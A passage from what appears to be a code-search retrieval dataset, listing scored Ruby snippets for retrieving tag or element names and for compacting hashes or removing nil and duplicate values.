"7b5686ff1f0efecb8e492ea1ecb8303b", "score": "0.6947055", "text": "def name(args = {})\n (tag = self.expression args) ? tag.name : \"**no tag**\"\n end", "title": "" }, { "docid": "bdb88b01071f3f273981e9305283acf1", "score": "0.6900758", "text": "def tag_name\n raise NotImplementedError.new\n end", "title": "" }, { "docid": "318735ad3f36f97aba5ee1fd7f270a5e", "score": "0.687845", "text": "def name\n @attrib[:name]\n end", "title": "" }, { "docid": "62d3b6aef653c4d9fcbcb128d8fbd524", "score": "0.6848332", "text": "def elem_name\n elem_name = self.class.to_s.split('::').last.gsub(/([a-z])([A-Z])/, '\\1_\\2').downcase\n end", "title": "" }, { "docid": "d95eb4a0733ebd7d4fc07b5281d9ba8e", "score": "0.68071985", "text": "def xml_name(name)\r\n @tag_name = name\r\n end", "title": "" }, { "docid": "8641ca68e568a4999803bfab70bf00d5", "score": "0.67991495", "text": "def classname\n tag_attrs.classname\n end", "title": "" }, { "docid": "2ac99f51b6762794a8fbd680946312aa", "score": "0.6775226", "text": "def extract_tag_name(node)\n node.name.downcase\n end", "title": "" }, { "docid": "847413ff2cb08bae11ab8f2f87450e8b", "score": "0.67610365", "text": "def gmlTagName()\n return self.class.gmlTagName() ;\n end", "title": "" }, { "docid": "1122a27ede12e8381df66a0944a75004", "score": "0.6738925", "text": "def xml_name(name)\n @tag_name = name\n end", "title": "" }, { "docid": "52b2507ca80f82bb40ac2cf5c589886c", "score": "0.6729269", "text": "def element_name(element)\n element.is_a?(N::URI) ? element.to_name_s('_') : element\n end", "title": "" }, { "docid": "3b4c9b80610fb0b30a20080ea78e2220", "score": "0.6724523", "text": "def name_for_label\n self.class.translated_label_for(name, element.name)\n end", "title": "" }, { "docid": "48a8d80f4585dca75f22762c132fc5d8", "score": "0.67216605", "text": "def tagging_name\n name\n end", "title": "" }, { "docid": "9811b1f29e3c9cd8bc7ae08bd6dfa84a", "score": "0.6719287", "text": "def name_tag(volume_id)\n @name_tag = 'NOTAG'\n volume_tags(volume_id).each {|tag|\n @name_tag = tag.value if tag.key == 'Name'\n }\n return @name_tag\n end", "title": "" }, { "docid": "6319a36cd90b7d51993764e227ea2467", "score": "0.6715233", "text": "def xml_element_name \n DataMapper::Inflection.underscore(self.class.name)\n end", "title": "" }, { "docid": "06ce7f45d9956c787c624fc54d5dde29", "score": "0.66971886", "text": "def name\n existence_check\n @automation_element.current.name.to_s\n end", "title": "" }, { "docid": "7e684266b442e01e52d9b68892f7e914", "score": "0.66832846", "text": "def name\n node.name\n end", "title": "" }, { "docid": "434e0c08f15307d69fce74a21ca2cfb5", "score": "0.6682261", "text": "def name\n node_parts[1]\n end", "title": "" }, { "docid": "2b29df9be78eefc0514de0d21ba051ae", "score": "0.66720176", "text": "def tagsname\n self.tags.map {|tag| tag.name}\n end", "title": "" }, { "docid": "2b29df9be78eefc0514de0d21ba051ae", "score": "0.66720176", "text": "def tagsname\n self.tags.map {|tag| tag.name}\n end", "title": "" }, { "docid": "9dc723b5d8dffbbfe1deb9b9b7546c2f", "score": "0.6670101", "text": "def name\n tags_array.last\n end", "title": "" }, { "docid": "0a36698d74d4517aa9f40c9766ec7fb4", "score": "0.6667107", "text": "def name\n nested_node('name')\n end", "title": "" }, { "docid": "5ec97e007ac1781ea87a5e5a0655dcb7", "score": "0.6623868", "text": "def wktTagName()\n return self.class.wktTagName() ;\n end", "title": "" }, { "docid": "2c27240093046294f346892ea5103c84", "score": "0.6599184", "text": "def iname\n first_element_text('name')\n end", "title": "" }, { "docid": "616d0a47df20e9cdc78e0ab89d486a95", "score": "0.6555843", "text": "def name\n @attrs[:name]\n end", "title": "" }, { "docid": "136cc8d15130d1c883f769a7f2bfcf34", "score": "0.653495", "text": "def name_string\n self.name[/([^>]*)<\\/name/,1]\n end", "title": "" }, { "docid": "7fd5abd3d7e43f98dbfbe2bcda9e0137", "score": "0.6527762", "text": "def name args = {}\n name_tag(args).try(:name) || '**no tag**'\n # (tag = name_tag args) ? tag.name : \"**no tag**\"\n end", "title": "" }, { "docid": "ba00ecbdba70748e054890d346d0289a", "score": "0.65121764", "text": "def name\n @_node_name\n end", "title": "" }, { "docid": "d0d3658a5bdc9669e942d86266f65966", "score": "0.6498382", "text": "def name\n @attrs[:name]\n end", "title": "" }, { "docid": "80d60f5351f07eabe632377f1d45b4d1", "score": "0.6487036", "text": "def name\n @name ? @name : @name = Hpricot.XML(self.xml).at(:list).at(:name)\n end", "title": "" }, { "docid": "9c1080bbf308b82d561cd3e220b70edd", "score": "0.64859843", "text": "def name_with_group\n group = self.tag_groups.first\n if group\n \"#{group.name}: #{self.name}\"\n else\n self.name\n end\n end", "title": "" }, { "docid": "411446ebb2a3447273602164783e1476", "score": "0.64832073", "text": "def tag\n @tag\n end", "title": "" }, { "docid": "7a9b8ee1edb67da3ad23df9d7620d30c", "score": "0.6483008", "text": "def tagname(loceval)\n tname = nil\n if @study.clean?\n tname = @study.get_node(loceval)\n # If we've studied, loceval should have already been converted to an id, or name, etc. So trying to change it again would be pointless.\n return \"#{tname.node_name}.#{tname['type']}\" unless tname == nil\n # If get_studied_node failed, try the old-fashioned way.\n #puts \"Studying tagname #{loceval} failed.\"\n end\n tname = @browser.get_eval(\n 'var ev=this.browserbot.findElement(\"' +\n loceval + '\");ev.tagName+\".\"+ev.type+\";\"+((ev.id != \"\" && window.document.getElementById(ev.id)==ev)?ev.id:\"\")').downcase\n\n tname = tname.split(';',2)\n # This modifies loceval in-place.\n loceval[0,loceval.length] = \"id=#{tname[1]}\" if tname[1] != ''\n return tname[0]\n end", "title": "" }, { "docid": "0c492000427bbdc0e44dfaad5b1b5630", "score": "0.6482485", "text": "def normalized_name(args = {})\n (tag = self.expression args) ? tag.normalized_name : \"**no tag**\"\n end", "title": "" }, { "docid": "2f206b92c5d7ff485592568956470140", "score": "0.64797556", "text": "def tag\n @tag\n end", "title": "" }, { "docid": "3cc3f38e404a08a31f1c7c2ac61068ed", "score": "0.64770865", "text": "def extract_name(element)\n element.attributes['title'].to_s\n end", "title": "" }, { "docid": "b2c5d262f5ef82b4ceceda6463cbaaa4", "score": "0.64730185", "text": "def tag_name\n if config.semantic_versioning\n @tag_name ||= tag_semver\n else\n @tag_name ||= %Q(#{Time.now.strftime(TIMESTAMP_FORMAT)}#{\"_#{suffix}\" if suffix})\n end\n end", "title": "" }, { "docid": "5a67b97389207665bee65c722de09c9d", "score": "0.64724785", "text": "def name\n\t\t\t\tinterested_tag || self.sha\n\t\t\tend", "title": "" }, { "docid": "ee08e10638c13631fb3544bb37ab8cce", "score": "0.6444973", "text": "def normalized_name args = {}\n (tag = self.expression args) ? tag.normalized_name : \"**no tag**\"\n end", "title": "" }, { "docid": "0a43ac5ca861b3c04e42d6ef5e0a5f5f", "score": "0.643095", "text": "def name_for_label\n\t\t\tself.class.translated_label_for(self.name, self.element.name)\n\t\tend", "title": "" }, { "docid": "c0aaa6c3719e37675905ac39fb77ba8d", "score": "0.6407293", "text": "def name; node.name end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "be8e4bcce1c89ea14c1559314aa882d6", "score": "0.6398974", "text": "def nodeName\n @name\n end", "title": "" }, { "docid": "39600f92f2fc37cad3bdcaa9173d0c01", "score": "0.6372962", "text": "def _element_name\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_IDENT)\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"*\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_element_name unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "6e6506dd7811265b2b5c3bb1622dbfe9", "score": "0.6344609", "text": "def tag\n if @tag.is_a? String\n @tag\n end\n end", "title": "" }, { "docid": "2e6f99e46516e8371665189fa9d60a3a", "score": "0.6338542", "text": "def get_header_element_name()\n return DEFAULT_ELEMENT_NAME\n end", "title": "" }, { "docid": "19b051f48e9914251a7d15e789f7386b", "score": "0.6336303", "text": "def element_name=(_arg0); end", "title": "" }, { "docid": "67b6b9c9c8c3614b68c94ff266d0a994", "score": "0.6329394", "text": "def tag\n local.tag\n end", "title": "" }, { "docid": "36e39075d7bc49cc49439224e4d7c514", "score": "0.6312699", "text": "def element_name\n model_name.element\n end", "title": "" }, { "docid": "a29a51a5e82d287279e75f71373c5a68", "score": "0.631171", "text": "def html_attribute_name\n return string_to_html_name(self.name)\n end", "title": "" } ]
7c0b89febf86a6139b1bdec02581481d
Returns a hash with only the nonnil elements present
[ { "docid": "1fa43ea8f5cc7f9c14572ab9b7df8062", "score": "0.0", "text": "def to_hash\n result = {}\n [[:tn, :tn], [:epg, :epg], [:cnam, :cnam], [:refId, :ref_id]].each do |garbage, pretty|\n # Make sure that this thing ain't nil\n if self.send(pretty)\n result[garbage] = self.send(pretty)\n end\n end\n result\n end", "title": "" } ]
[ { "docid": "4b6eee20172652d6fe94f5c7226f4f93", "score": "0.7007486", "text": "def convert_nils_to_empty_hashes(hash); end", "title": "" }, { "docid": "df4d146a330de138d5091f406e7c2705", "score": "0.69300073", "text": "def compact\n reject{|key,val| val.nil? }\n end", "title": "" }, { "docid": "345e00a94be2beac9a34c18c39fd15dc", "score": "0.67479384", "text": "def to_hash\n super.reject { |_k, v| v.nil? }\n end", "title": "" }, { "docid": "22b2004634fbdc311d32fc9c0ae6b576", "score": "0.66161036", "text": "def compact!\n hsh = {}\n any = false\n each do |k, v|\n if v.nil?\n any = true\n else\n hsh[k] = v\n end\n end\n return unless any\n replace hsh\n self\n end", "title": "" }, { "docid": "446662cd5dd9f4e5a9b85d6831b0c2cf", "score": "0.6436838", "text": "def uniques(array)\n hash = Hash[array.map {|x| [x, nil]}]\n print hash.keys\nend", "title": "" }, { "docid": "6e7ee64e814eb157bb032028a81754bc", "score": "0.6374957", "text": "def my_unique\n dict = Hash.new(false)\n self.each_with_index do |el, idx|\n self[idx] = nil if dict[el]\n dict[el] = true\n end\n self.compact!\n end", "title": "" }, { "docid": "9d4654afdabc24c253fd6e469ae9586d", "score": "0.63653386", "text": "def strip_empty_entries(hash)\n return hash unless hash.is_a?(Hash)\n\n hash.inject({}) do |m, (k, v)|\n m[k] = strip_empty_entries(v) unless v&.empty?\n m.delete(k) if m[k].nil? || m[k].empty?\n m\n end\nend", "title": "" }, { "docid": "c5a3eee454fc58a2b4868b6c7b656105", "score": "0.63602865", "text": "def clean_hash hash\n hash ||= {}\n hash = hash.map do |k,v|\n if v.is_a? Hash\n [k,clean_hash(v)]\n else\n [k,v]\n end\n end\n hash = Hash[hash]\n Hash[hash.select do |k,v|\n if v.is_a? Hash\n v.size > 0\n else\n v.present?\n end\n end]\n end", "title": "" }, { "docid": "beee79af4a347366c4e2eb9e4ab85337", "score": "0.6298684", "text": "def strip_nulls!(hash)\n hash.each_key do |key|\n case value = hash[key]\n when Hash\n strip_nulls!(value)\n hash.delete(key) if value.empty?\n when nil then hash.delete(key)\n end\n end\n\n hash\n end", "title": "" }, { "docid": "0a9a0dd743bcee13b9d578d785ed1c6d", "score": "0.6286672", "text": "def values\n sub_result = []\n i = 0\n while i < @hash.length do\n if @hash[i] != nil && @hash[i].length > 0\n @hash[i].map { |k, v| sub_result.push(v) }\n end\n i += 1\n end\n return sub_result.uniq\n end", "title": "" }, { "docid": "55bb4d34ca1d1efcf1f08b6c4ea5c5ea", "score": "0.6285144", "text": "def unique_elements(arr)\n\thash_ele = {}\n arr.each {|ele| hash_ele[ele] = true}\n puts hash\n return hash_ele.keys\nend", "title": "" }, { "docid": "c78ab72e9e28919c909ce2f03dd00bab", "score": "0.61988115", "text": "def compact!\n delete_if { |k, v| v.nil? }\n end", "title": "" }, { "docid": "cbc1074cb24e0ae62e421525dd5f95df", "score": "0.6172201", "text": "def unique_elements(arr)\n hash_elements = {}\n arr.each { |ele| hash_elements[ele] = true }\n return hash_elements.keys\nend", "title": "" }, { "docid": "064e662ccfc89030f4d7e7cf4677cf31", "score": "0.6161462", "text": "def compact(h={})\n h.each do|k,v|\n if v.nil?\n h.delete(k)\n elsif (v.is_a?(Hash) && v.empty?)\n next\n end\n\n compact v if v.is_a?Hash\n end\n\n # Remove all empty hashes except first key if it is empty\n # since that is required for XML root element attributes\n h.delete_if do|k,v|\n v.is_a?(Hash) && v.empty? && k != h.keys[0]\n end\n\n h\n end", "title": "" }, { "docid": "8936663eae20d0e3aa855db0121eee05", "score": "0.6100374", "text": "def uniq\n hsh = {}\n if block_given?\n each{|v| hsh[yield(v)] = 1 }\n else\n each{|v| hsh[v] = 1 }\n end\n hsh.keys\n end", "title": "" }, { "docid": "4777a653d42ad08fb5990ab7f25f862c", "score": "0.60981464", "text": "def func_none(hash)\n hash.none? {|key, value| value.nil?}\nend", "title": "" }, { "docid": "0551a504feab97de5776d0e20079846b", "score": "0.6096092", "text": "def except_empty\n self.reject{|k, v| v.to_s.empty?}\n end", "title": "" }, { "docid": "6276e9c42e6209ae5ba0d2acdf235a3d", "score": "0.60925674", "text": "def HashHelper(hash, opts = {})\n remove_nils = opts[:remove_nils] || true\n if remove_nils\n hash.inject(hash.class.new()) { |h, (k, v)| v.nil? ? h : h.merge(k => v) }\n else\n hash\n end\n end", "title": "" }, { "docid": "914fc07e7c8868100d083eeb0ce3f355", "score": "0.6065893", "text": "def convert_nils_to_empty_hashes(hash)\n hash.each_with_object({}) do |(key, value), h|\n h[key] =\n case value\n when nil then {}\n when Hash then convert_nils_to_empty_hashes(value)\n else\n value\n end\n end\n end", "title": "" }, { "docid": "2ff938b0c800851bc796cc0e788c8c50", "score": "0.6038669", "text": "def compact_hash(hash)\n hash.delete_if { |key, value| value.blank? }\n end", "title": "" }, { "docid": "f76789b31263ab56f8af5af07f724f1f", "score": "0.60109234", "text": "def unique_elements(arr)\n\thash = {}\n arr.each { |ele| hash[ele] = true }\n return hash.keys \t\nend", "title": "" }, { "docid": "2ed38bf39c64e0269fff1e0c721068c4", "score": "0.60026497", "text": "def unique_elements(arr)\n hash = {}\n arr.each { |ele| hash[ele] = true }\n return hash.keys\nend", "title": "" }, { "docid": "0d3f82d665e0083d96946ff549f89a76", "score": "0.60008156", "text": "def empty_values_hash\n @empty_values_hash ||= custom_columns.dup\n @empty_values_hash.each { |k, _v| @empty_values_hash[k] = nil }\n @empty_values_hash\n end", "title": "" }, { "docid": "a038a153be7fae1ed014ca71e6b582e5", "score": "0.5993619", "text": "def without_any(*features)\n features = setify(*features)\n self.class.new Hash[@sets.select {|key, val| key.intersection(features).empty?}]\n end", "title": "" }, { "docid": "ec23d40d8d085735c3faeb3b557a2f1f", "score": "0.59876823", "text": "def nil_if_empty(hash)\n hash.each { |k, v| hash[k] = (v.empty?) ? (nil) : (v) }\n end", "title": "" }, { "docid": "376fadcf5519cd71986f73abd0ac7f39", "score": "0.5974969", "text": "def empty?\n to_hash.empty?\n end", "title": "" }, { "docid": "a6dedea98130066327946cd063971435", "score": "0.59719986", "text": "def my_uniq(arr)\n hash = {}\n arr.each { |obj| hash[obj] = true }\n hash.keys\nend", "title": "" }, { "docid": "8fda64c56afdac4b77349a048592284d", "score": "0.596338", "text": "def hash\n [].hash\n end", "title": "" }, { "docid": "4af2b4b873190dc88c78f531e2b9bb23", "score": "0.59628195", "text": "def reject\n hsh = ::Archetype::Hash.new\n self.each do |key, value|\n hsh[key] = value unless yield(key, value)\n end\n return hsh\n end", "title": "" }, { "docid": "4af2b4b873190dc88c78f531e2b9bb23", "score": "0.59628195", "text": "def reject\n hsh = ::Archetype::Hash.new\n self.each do |key, value|\n hsh[key] = value unless yield(key, value)\n end\n return hsh\n end", "title": "" }, { "docid": "a4f891bb5415cb4c48ce50632e1952df", "score": "0.59597033", "text": "def my_uniq(arr)\n hash = {}\n arr.each {|elem| hash[elem] = true}\n hash.keys\nend", "title": "" }, { "docid": "0c98878cb6f5f3f14367cbaf6f4f9332", "score": "0.5958436", "text": "def prune_nil_values!(o)\n if o.is_a? Hash\n o.keys.each do |k|\n if o[k].nil?\n o.delete k\n else\n o[k] = prune_nil_values o[k]\n o.delete k if o[k].nil?\n end\n end\n o\n elsif o.is_a? Array\n o.reject { |e| e.nil? }\n o.collect! { |e| prune_nil_values e }\n else\n o\n end\nend", "title": "" }, { "docid": "1ddeea66b9acc931af6d6ac87cf7136b", "score": "0.59471816", "text": "def unique_elements(arr)\n unique = {}\n\n arr.each { |ele| unique[ele] = true }\n\n return unique.keys\nend", "title": "" }, { "docid": "4dc61c71078a8353799e4b9d630f24d8", "score": "0.5926838", "text": "def unmatched_keys; end", "title": "" }, { "docid": "edb3b0ca794f3fb452ff3b24269e8507", "score": "0.5888573", "text": "def clear_nil_attributes(hash)\n hash.reject! do |key, value|\n if value.nil?\n true\n elsif value.is_a? Hash\n value.reject! { |inner_key, inner_value| inner_value.nil? }\n else\n false\n end\n end\n\n hash\n end", "title": "" }, { "docid": "341563d31a7ac3d6567e388ebd3fa6c9", "score": "0.5888443", "text": "def coalesce\n allkeys = map {|h| h.keys}.flatten.uniq\n allkeys.reduce({}) do |memo,key|\n memo[key] = map {|h| h[key]}.compact.uniq\n memo[key] = memo[key].first if memo[key].count <= 1\n memo\n end\n end", "title": "" }, { "docid": "7a367b18567c0a3290166b8ecff88b27", "score": "0.5845138", "text": "def to_hash(wants_nil_leaves: false)\n hash = {}\n self.class.serializable_attrs.each {|attr_sel|\n val = self.send attr_sel\n next unless val || wants_nil_leaves\n if val.is_a?(Array) && val[0].is_a?(DocInfo)\n val = val.map &:to_hash\n end\n hash[attr_sel] = val\n }\n hash\n end", "title": "" }, { "docid": "6c85f16375355ae73ebd66375b56234f", "score": "0.58396626", "text": "def remove_nil_values(hash, opts = {})\n hash.inject(opts[:seed] || {}) { |h, (k, v)| v.nil? ? h : h.merge(k => v) }\n end", "title": "" }, { "docid": "d8705bb94bf4ee35ce043d012c516aa5", "score": "0.5839412", "text": "def delete_blanks(hash)\n hash.delete_if do |k, v|\n (v.respond_to?(:empty?) ? v.empty? : !v) or v.instance_of?(Hash) && (delete_blanks v).empty?\n end\n end", "title": "" }, { "docid": "7ead16381259017bfc8e0394ba2eedea", "score": "0.582942", "text": "def all\n file.to_a.map { |row| empty?(row.to_hash) }.compact\n end", "title": "" }, { "docid": "c16a20b416b13d2db90acddb10a23419", "score": "0.58248454", "text": "def compact_blank\n reject { |_k, v| v.blank? }\n end", "title": "" }, { "docid": "a6c1209ce29872415362d46a102d4d6f", "score": "0.58179235", "text": "def test_dict_to_hash_not_empty\n assert @grapher.dict_to_hash(Set.new(['a', 'bd'])).size > 0\n end", "title": "" }, { "docid": "943c49968c8617e358031e21e714f0f6", "score": "0.58090425", "text": "def three(quiz)\n r={};quiz.each{|a|r[a]=nil};r.keys\nend", "title": "" }, { "docid": "a79fc9ecdf7d6aa7dda0a57fd1e9d3c1", "score": "0.58036", "text": "def empty?\n hash.keys.empty?\n end", "title": "" }, { "docid": "9b7cc5781e4bfb89f839d46b2b9ba69b", "score": "0.57961434", "text": "def empty?\n @hash.empty?\n end", "title": "" }, { "docid": "9b7cc5781e4bfb89f839d46b2b9ba69b", "score": "0.57961434", "text": "def empty?\n @hash.empty?\n end", "title": "" }, { "docid": "9b7cc5781e4bfb89f839d46b2b9ba69b", "score": "0.57961434", "text": "def empty?\n @hash.empty?\n end", "title": "" }, { "docid": "c37d5d6a7970fd5ad6691a538e5ad449", "score": "0.57935154", "text": "def clear_nil_attributes(hash)\n hash.reject! do |key, value|\n if value.nil?\n return true\n elsif value.is_a? Hash\n value.reject! { |inner_key, inner_value| inner_value.nil? }\n end\n\n false\n end\n\n hash\n end", "title": "" }, { "docid": "80800f5a47d351e47166266d16a66c16", "score": "0.5789714", "text": "def remove_all_with_nil\n return self.map {|x| x.any?{ |e| e.nil? } ? nil : x}.compact\n end", "title": "" }, { "docid": "63e40c4eaf2f2f8e2fab85a1d4d2bf7f", "score": "0.57761216", "text": "def attributes_nil_hash\n @_attributes_nil_hash ||= {}.tap do |attr_hash|\n registered_properties.each_pair do |k, prop_obj|\n val = prop_obj.default_value\n attr_hash[k.to_s] = val\n end\n end.freeze\n end", "title": "" }, { "docid": "737dc175ab33a9cf6e0432120e910de2", "score": "0.57650363", "text": "def unique_elements(arr)\n\n # hash count -> duplicate removed -> return a new array\n new = []\n\n # count = Hash.new(0) # create {} with default value 0\n arr.each do |ele|\n if !new.include?(ele)\n new << ele\n end\n end\n # print count # {\"a\"=>3, \"b\"=>2, \"c\"=>1}\n\n return new \nend", "title": "" }, { "docid": "d7e1ac220d21e5ec8f77001a9b750de4", "score": "0.5759487", "text": "def compact_blank!\n reject! { |_k, v| v.blank? }\n end", "title": "" }, { "docid": "03848d773626734b91f93b0eda62411c", "score": "0.57452416", "text": "def recursive_delete_if_nil\n self.inject({}) do |h,(k,v)|\n if !v.nil?\n h[k] = v.respond_to?('recursive_delete_if_nil') ? v.recursive_delete_if_nil : v\n end\n h\n end\n end", "title": "" }, { "docid": "cca99e435b35cce215a8ca02b378b0f7", "score": "0.57426006", "text": "def missing_keys; end", "title": "" }, { "docid": "8c252c39d5895611b60e5101df07e992", "score": "0.57349145", "text": "def to_hash(obj = T.unsafe(nil)); end", "title": "" }, { "docid": "569acdde2cab74958c108eba96208fef", "score": "0.57318896", "text": "def compact\n select { |item| !item.nil? }\n end", "title": "" }, { "docid": "b682c1c061e60a5270b75a2e3ba405cf", "score": "0.5729176", "text": "def test_invalid_empty_dict_to_hash\n assert @grapher.dict_to_hash(Set.new([])).size.zero?\n end", "title": "" }, { "docid": "62dcaf40cb13f0b4a4661eb5e5970059", "score": "0.57272464", "text": "def unique(list)\n hash = {}\n list.select do |n|\n #if it exists in the hash already you don't want that element\n if hash[n]\n false\n puts hash\n puts \"false\"\n else\n #if it doesn't, you put it in the hash and also keep the element\n hash[n] = n\n true\n puts hash\n puts \"true\"\n end\n end\n end", "title": "" }, { "docid": "a0feb63209f1912f981c912fad689cb4", "score": "0.57091707", "text": "def nothing_if_empty_or_nil(hash) \n hash.delete_if { |k, v| v.nil? || v.empty? }\n end", "title": "" }, { "docid": "d0ea9e3581276c9aa6b580aec5c575b7", "score": "0.56718105", "text": "def find_unique all_hash\n unique = []\n\n all_hash.each_pair do |full_name, cm|\n unique << cm if full_name == cm.full_name\n end\n\n unique\n end", "title": "" }, { "docid": "923253a25abff15085fd56ae52a08f04", "score": "0.5665316", "text": "def lands_hash\n []\n end", "title": "" }, { "docid": "b46a92d178eceec293eb19368e924568", "score": "0.56558126", "text": "def extract_hash\n result = []\n if @structures.length.positive?\n @structures.each do |s|\n value = s.extract_hash\n result << value unless value.nil?\n end\n else\n result = {}\n end\n case result.length\n when 0\n return nil\n when 1\n return result[0]\n end\n result\n end", "title": "" }, { "docid": "855b53e1b7d47040b5befd69c55a4508", "score": "0.5653803", "text": "def array_to_hash(a)\n result = {}\n if !a.nil?\n a.each do|elt|\n result[elt] = true\n end\n end\n return result\n end", "title": "" }, { "docid": "1662443e204ff389134a5dcd6eed4e19", "score": "0.56382495", "text": "def reject_blanks(item, squeeze: false, dup: false, **)\n item.is_a?(Hash) && _remove_blanks(item, squeeze: squeeze, dup: dup) || {}\n end", "title": "" }, { "docid": "4d3258f65446bbba2b047dbd5d7278a6", "score": "0.56267977", "text": "def results_h\n empties = @ids.zip([nil]).to_h\n results.index_by(&:id).reverse_merge(empties)\n end", "title": "" }, { "docid": "4b4f4272f598ac69d1dc1afb44c84d00", "score": "0.5623753", "text": "def empty?(hash)\n hash unless hash.empty?\n end", "title": "" }, { "docid": "420b31ab39e41cf6457f8870cf29e1d6", "score": "0.5617623", "text": "def my_uniq(arr)\n unique_set = arr.reduce({}) do |acc, el|\n acc[el] = true\n acc\n end\n unique_set.keys\nend", "title": "" }, { "docid": "57061c9318527798965d6be034598bfc", "score": "0.56119394", "text": "def remove_empties(h)\n h.delete_if do |_k, v|\n v == '∅∅∅'\n end\n\n h.each_pair do |_k, v|\n remove_empties(v) if v.is_a?(Hash)\n end\n\n h.delete_if do |_k, v|\n v.is_a?(Hash) && v.empty?\n end\n end", "title": "" }, { "docid": "9b06596184a327d2836fe390b3b5fd20", "score": "0.5605857", "text": "def to_h\n @query_hash.sort.each_with_object({}) do |(key, value), query|\n next if value.nil? || ((value.is_a?(Array) || value.is_a?(Hash)) && value.blank?)\n\n query[key] = KEYS_WITH_UNIQUE_VALUES.include?(key) ? value.values : value\n end\n end", "title": "" }, { "docid": "ef9386545f8ffce91b504896bea95e11", "score": "0.5603006", "text": "def to_h\n\t\t\thash = Hash.new(nil)\n\t\t\teach_pair { |key, value| hash[key] = value }\n\t\t\thash.freeze\n\t\tend", "title": "" }, { "docid": "4700679304d6163672b9ecf95f3615f4", "score": "0.55931425", "text": "def nil_values(the_input, nil_keys_array = Array.new)\n the_input.select { |_, v| v.blank? }.each_key do |key|\n nil_keys_array << key.to_s\n end\n raise K2EmptyParams.new(nil_keys_array) unless nil_keys_array.blank?\n end", "title": "" }, { "docid": "6685284a7901985a305eaa5016a60158", "score": "0.55832946", "text": "def recursive_remove_empty_and_nil_values(hash_or_array)\n p = proc do |*args|\n v = args.last\n v.delete_if(&p) if v.respond_to? :delete_if\n v.nil? || v.respond_to?(:\"empty?\") && v.empty?\n end\n\n hash_or_array.delete_if(&p)\n end", "title": "" }, { "docid": "6056231e521bca4f2e06a7d6df5daaec", "score": "0.5582886", "text": "def without(*keys)\n keys = keys.flatten\n pairs = each_pair.filter { |k, _| !k.in?(keys) }\n pairs.to_h\n end", "title": "" }, { "docid": "c5355bad1c357358200a1d16c4eecdad", "score": "0.5580888", "text": "def meta\n @hash.any? ? @hash : nil\n end", "title": "" }, { "docid": "9845206d6d56ca663d8a4a918ca062cb", "score": "0.5565661", "text": "def hash_of_hashes\n Hash.new do |h1, k1|\n h1[k1] = Hash.new { |h, k| h[k] = [] }\n end\n end", "title": "" }, { "docid": "b32954e0b813fb4eaf53d79ba3127684", "score": "0.5553598", "text": "def remove_duplicates(list)\n list.inject({}){ |ele, n| ele[n] = nil; ele }.keys\nend", "title": "" }, { "docid": "73741d3138fa600ba4b7bbccd7b89d16", "score": "0.5547127", "text": "def remove_empty_fields\n self.each_pair do |k, v|\n if self[k].class == Hash\n self[k] = self[k].remove_empty_fields\n else\n self.delete(k) if v.to_s == \"\"\n end\n end\n self\n end", "title": "" }, { "docid": "06e72ba2062be9cb1d5a8d3f9bc37a03", "score": "0.55406195", "text": "def to_hash\n {}\n end", "title": "" }, { "docid": "7211741856304cdea12e9c54155d91be", "score": "0.552637", "text": "def build_vendors_hash(vendors_raw)\r\n\thash_map = Hash.new\r\n\r\n\tvendors_raw.each do |vendor|\r\n\t\tif(vendor['attributes']['bitsight_guid'] != nil)\r\n\t \thash_map[vendor['attributes']['bitsight_guid']] = vendor\r\n\t\tend\r\n\tend\r\n\thash_map\r\nend", "title": "" }, { "docid": "8058368eddb5c75c1c2d3cd5ccb22038", "score": "0.55252355", "text": "def optionals\n\t\tHash[ select {|i,f| f.required? } ]\n\tend", "title": "" }, { "docid": "1dd78bdb0d11e06d2995f717f8dc6152", "score": "0.5520401", "text": "def as_hash(clusters)\n\t\t\tclusters.inject({}){|hash, (key,value)|\n\t\t\t\thash[key]=value.flatten.map(&:items) unless value.flatten.empty?\n\t\t\t\thash\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "81e07ba28c85579db91dd64754e6fe1c", "score": "0.55165285", "text": "def missing_keys_from(required_keys)\n required_keys.select{ |k| self.get(k).to_s.empty? }\n end", "title": "" }, { "docid": "954862f6d5b5488c66354b06779083e4", "score": "0.55156404", "text": "def report_non_nil_and_missing_keys(data)\n data.each{ |h|\n %w[key ref _owner].each{ |k| check_key(h, k) }\n }\n end", "title": "" }, { "docid": "2c99faaa4ba3694af04889f568ccff46", "score": "0.55153275", "text": "def compact\n reject(&:nil?)\n end", "title": "" }, { "docid": "06296378a9be5dc37ed9e4397441d61b", "score": "0.55133706", "text": "def my_uniq(arr)\n hash = Hash.new(0)\n arr.each {|el| hash[el] = 1} #value doesnt matter this case\n hash.keys\nend", "title": "" }, { "docid": "0dcb8e7692b1620dcaec533fd86c2c8d", "score": "0.55052656", "text": "def to_hash(*a)\n if a.empty?\n cache.dup\n else\n super\n end\n end", "title": "" }, { "docid": "3abaab9ea30b958f8d8a4e0b07f66e58", "score": "0.55045915", "text": "def only_unique_elements(arr)\n newHash = Hash.new(0)\n\n arr.each{|x|newHash[x]=1}\n \n newHash.to_a.flatten().select{|x|x.is_a?(String)==true}\nend", "title": "" }, { "docid": "50b38b07c28208fd57db1cb54f30f8d2", "score": "0.55039376", "text": "def hashishify_values\n @hash.each do |key, value|\n if @hash[key].kind_of? Hash\n @hash[key] = Hashish.new(value)\n elsif @hash[key].kind_of? Array\n @hash[key].each_index do |index|\n element = @hash[key][index]\n if element.kind_of? Hash\n @hash[key][index] = Hashish.new(element)\n end\n 